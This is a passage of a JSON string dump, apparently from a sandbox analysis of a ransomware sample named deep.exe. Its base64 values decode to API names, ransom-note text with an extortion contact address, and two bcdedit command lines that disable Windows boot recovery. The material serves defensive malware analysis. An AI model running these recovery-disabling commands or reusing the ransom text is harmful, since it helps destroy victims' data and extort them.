Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QWRkcmVzc0ZhbWlseQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0VG9rZW5Qcml2aWxlZ2Vz","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWRtaW5UYWJQcm9jcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QURWQVBJMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWZ0ZXIgcGF5bWVudCB3ZSB3aWxsIHNlbmQgeW91IHRoZSBkZWNyeXB0aW9uIHRvb2wgdGhhdCB3aWxsIGRlY3J5cHQgYWxsIHlvdXIgZmlsZXMu","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QUdHUkVHQVRF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxsIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCBkdWUgdG8gYSBzZWN1cml0eSBwcm9ibGVtIHdpdGggeW91ciBQQy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3cgUHJvZ3JhbW1hdGljIEN1dF9Db3B5X1Bhc3Rl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QUxVRS5PQkpFQ1Q+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBNeSBDb2xvcnM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBNeSBGb250IEZhY2U=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBNeSBGb250IFNpemU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzRHJhaW5PblJlZGlyZWN0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzU2hvd0V4dA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIENvbG9y","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIENvbG9yIEhvdmVy","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIENvbG9yIFZpc2l0ZWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIFVuZGVybGluZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QU5PTllNT1VT","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXJcMytTaGwleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YXJjaGl1ZWQpLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"YXJzZXJlbmdpbmUuY3Bw","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVNTT0NDTEFTUw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzb2NDbGFzcyAgPQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVNTT0NJQVRPUlMgT0Ygew==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVRPUlMgT0Ygew==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ZW50aW9uIQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlcw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljb2RlRW5hYmxlZA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QVVUSExFVkVM","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aG9yaXR5","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVVUSE9SSVRZ","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0NoZWNrU2VsZWN0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0RldGVjdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXZhaWxhYmxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YVdfUSFheE5e","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YVh5MyFpTypgLw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YX13LmVTfGB2Wi4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qis+cGZ4eEcu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YiwzMiBWSkRR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YjV8Rkglb3Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlxMNVFANHhu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YmFja3Vwcyw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"YmFkIGFsbG9jYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmFkUHJveHlFeHBpcmVzVGltZQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmNkZWRpdCAgL3NldCB7ZGVmYXVsdH0gYm9vdHN0YXR1c3BvbGljeSBpZ25vcmVhbGxmYWlsdXJlcw==","type":"Ansi","source":"Process Commandline","process":null,"filename":"bcdedit.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmNkZWRpdCAgL3NldCB7ZGVmYXVsdH0gcmVjb3ZlcnllbmFibGVkIE5v","type":"Ansi","source":"Process Commandline","process":null,"filename":"bcdedit.exe","compromised":null,"detection_total":null,"total":null},{"value":"QmVmb3JlIHBheWluZyB5b3UgY2FuIHNlbmQgdXMgdXAgdG8gMyBmaWxlcyBmb3IgZnJlZSBkZWNyeXB0aW9uLg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5NZXRob2RFbnVtZXJhdGlvbigwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVnaW5uZXJz","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"YmVtXHRvb2xzXHdtaWNcZm9ybWF0ZW5naW5lLmNwcA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVtQ2xhc3NPYmplY3QtPkdldE9iamVjdFRleHQoMCwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVtQ2xhc3NPYmplY3Q6OkdldChMIkZvcm1hdHMiLCAwLC0sIDAsIDAp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVtT2JqZWN0VGV4dFNyYzo6R2V0VGV4dCgwLCAtLCBXTUlfT0JKRUNUX1RFWFRfQ0lNX0RURF8yXzAsIC0sIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QkZDbFxRYFdfYSs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Yml0Y29pbnMnLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbnMu","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbnM/","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"QnJvd3NlSW5QbGFjZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YnV0ZXMoLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QnlwYXNzSFRUUE5vQ2FjaGVDaGVjaw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QnlwYXNzU1NMTm9DYWNoZUNoZWNr","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Qll+WFU+WWYs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YlpcbFNJMUdj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Yygrc2FaNylJcFk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QylcPUB7bkc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YzNOMURQclk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QzssSlVYZmNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qz1zJG4/T11RJg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVMaW1pdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVNb2Rl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVPcHRpb25z","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVQYXRo","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVQcmVmaXg=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVSZXBhaXI=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbEZvckF0dHJpYnV0ZXM=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2F0ZWdvcnk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q0JGMEM1OTZFQTZCRTE1QjFFNjAxRTkxMEU0NDM4NTIwNENCNEUyNEIzMURDNjNCMkY0NUQxMDQ3MDFCMkIzRTU2NkJCMkI2Njg4MTExRTU2MTFFNjVBMjE4NTI4NkZEOEVBMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Q0JGX0M1OTZFQTZCRTE1QjFFNl8xRTkx","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Q0RBVEFTZWN0aW9uKC0sIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q0VJUEVuYWJsZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENhY2hlTm9WYWxpZGF0ZQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydGlmaWNhdGVSZXZvY2F0aW9u","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2VzOjpFeGVjTWV0aG9kKEwiJXMiLCBMIiVzIiwgMCwgTlVMTCwgLSwgLSwgTlVMTCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2VzOjpFeGVjUXVlcnkoTCJXUUwiLEwiJXMiLCAwLCBOVUxMLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhclVwcGVyVw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q0w6LTlFeWVA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2xlYW51cCBIVENz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xpZW50QXV0aEJ1aWx0SW5VSQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q0xJUEJPQVJE","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y00sLmtPWTB1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9GcmVlVGhyZWFkZWRET01Eb2N1bWVudCwgTlVMTCwgQ0xTQ1RYX0lOUFJPQ19TRVJWRVIsIElJRF9JWE1MRE9NRG9jdW1lbnQyLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9GcmVlVGhyZWFkZWRET01Eb2N1bWVudCwgTlVMTCwgQ0xTQ1RYX1NFUlZFUixJSURfSVhNTERPTURvY3VtZW50MiwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9GcmVlVGhyZWFkZWRET01Eb2N1bWVudCwgTlVMTCxDTFNDVFhfSU5QUk9DX1NFUlZFUiwgSUlEX0lYTUxET01Eb2N1bWVudDIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9XYmVtT2JqZWN0VGV4dFNyYywgTlVMTCxDTFNDVFhfSU5QUk9DX1NFUlZFUiwgSUlEX0lXYmVtT2JqZWN0VGV4dFNyYywgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9YU0xUZW1wbGF0ZSwgTlVMTCwgQ0xTQ1RYX1NFUlZFUiwgSUlEX0lYU0xUZW1wbGF0ZSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4KENMU0lEX1diZW1Db250ZXh0LCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCAwLCAxLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29Jbml0aWFsaXplRXg=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29Jbml0aWFsaXplU2VjdXJpdHk=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tK0VuYWJsZWQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q09NK0VuYWJsZWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q09NTUFORExJTkU=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ1c=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcHV0ZXI=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcHV0ZXJOYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y29uZmlybWF0aW9u","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdGlvbg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdGlvblR5cGU=","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdFJldHJpZXM=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdFRpbWVPdXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29udGFjdCB1cyB1c2luZyB0aGlzIGVtYWlsIGFkZHJlc3M6IG1yZGVlcEBwcm90b25tYWlsLmNvbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Q29udGVudCBUeXBl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29udGV4dExpbWl0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVX","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29ycG9yYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQ=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCwgUlBDX0NfQVVUSFpfTk9ORSwgTlVMTCwgJWQsICAgJWQsIC0sIEVPQUNfTk9ORSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCwgUlBDX0NfQVVUSFpfTk9ORSwgTlVMTCwgJWQsICVkLCAtLCBFT0FDX05PTkUp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCwgUlBDX0NfQVVUSFpfTk9ORSxOVUxMLCAlZCwgICAlZCwgLSwgRU9BQ19OT05FKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCxSUENfQ19BVVRIWl9OT05FLCBOVUxMLCAlZCwgICAlZCwgLSwgRU9BQ19OT05FKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fR1NTX0tFUkJFUk9TLFJQQ19DX0FVVEhaX05PTkUsICVzLCAlZCwgICAlZCwgLSwgRU9BQ19OT05FKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29VbmluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y1EhcipffGcxNGAzUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlQ29udGV4dChyUGFyc2VkSW5mbyk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRX","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVXJpQ2FjaGVTaXpl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q1JJUFRJT04+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q1NTX0NvbXBhdA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y3Q6OlB1dChMIiVzIiwgMCwtLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y3VtZW50LCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCBJSURfSVhNTERPTURvY3VtZW50MiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q1dESWxsZWdhbEluRExMU2VhcmNo","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y1k2RD5TKlU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZC5CZWpjekNWI2oi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZDNkY29tcGlsZXJfNDMuZGxs","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RDZINkw2UDZUNg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDkjPUhoOExMOg==","type":"Ansi","source":"Memory/File 